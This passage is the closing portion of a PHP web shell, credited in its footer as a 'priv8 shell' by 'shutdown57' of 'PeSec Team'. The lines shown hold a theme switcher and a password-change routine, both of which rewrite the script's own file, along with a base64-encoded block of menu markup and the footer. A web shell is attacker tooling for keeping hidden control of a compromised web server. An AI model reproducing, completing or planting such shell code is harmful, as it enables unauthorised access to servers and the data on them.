CBjbGFzcz0idzMtcHVycGxlIj5QVVJQTEU8L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1raGFraSIgY2xhc3M9InczLWtoYWtpIj5LSEFLSTwvYT4NCiAgPC9kaXY+DQo8L2Rpdj4gJzs="));
1823}else{
1824$fn=str_replace("/","",$_SERVER['SCRIPT_NAME']);
1825$gc=file_get_contents($fn);
1826$co=str_replace("indigo",$c,$gc);
1827$fp=fopen($fn,"w");
1828if(fwrite($fp, $co)){
1829 echo "<meta http-equiv='refresh' content=0;url='?'>";
1830}else{
1831 echo "gagal";
1832}
1833fclose($fp);
1834}
1835}elseif ($_GET['a']=='pass') {
1836function a_gantipass($old,$new){
1837 $file=str_replace("/","",$_SERVER['SCRIPT_NAME']);
1838 $getc=file_get_contents($file);
1839 $pw=str_replace("".$old."","".$new."",$getc);
1840 $fp=fopen($file,"w");
1841 return fwrite($fp,$pw);
1842 fclose($fp);
1843
1844}
1845echo "<div class='w3-center w3-container'><h3 class='w3-indigo w3-text-shadow'>Change Password</h3>";
1846echo "<form method='post'>";
1847echo "<table class='w3-table w3-border'><tr><td>Old password:</td><td><input type='text' name='op' class='w3-input'></td></tr>";
1848echo"<tr><td>New password:</td><td><input type='text' name='np' class='w3-input'></td></tr>";
1849echo"<tr><td colspan='2'><input type='submit' name='sbmt' class='w3-btn w3-btn-block w3-indigo' value='Change'></td></tr></table></form>";
1850if(isset($_POST['sbmt'])){
1851 $plama=md5($_POST['op']);
1852 $pbaru=md5($_POST['np']);
1853 if(a_gantipass($plama,$pbaru)){
1854 echo "<script>alert('passwordberhasil di ubah!')</script>";
1855 return session_destroy();
1856 }
1857}
1858}
1859}
1860$end_html_a ="<br><br><br><br>";
1861$end_html_a.='<footer class="w3-panel w3-indigo w3-text-shadow w3-text-white w3-center" style="font-size:12px;">copyright © '.date('Y').' PeSec Team | PoweRed by : <a href="http://linuxcode.org" target="_blank">LinuxCode.org</a> | Ayana Shahab priv8 shell By : <a href="https://facebook.com/JKT48.co" >shutdown57</a></footer>';
1862$end_html_a.='</body></html>';
1863echo $end_html_a;
1864?>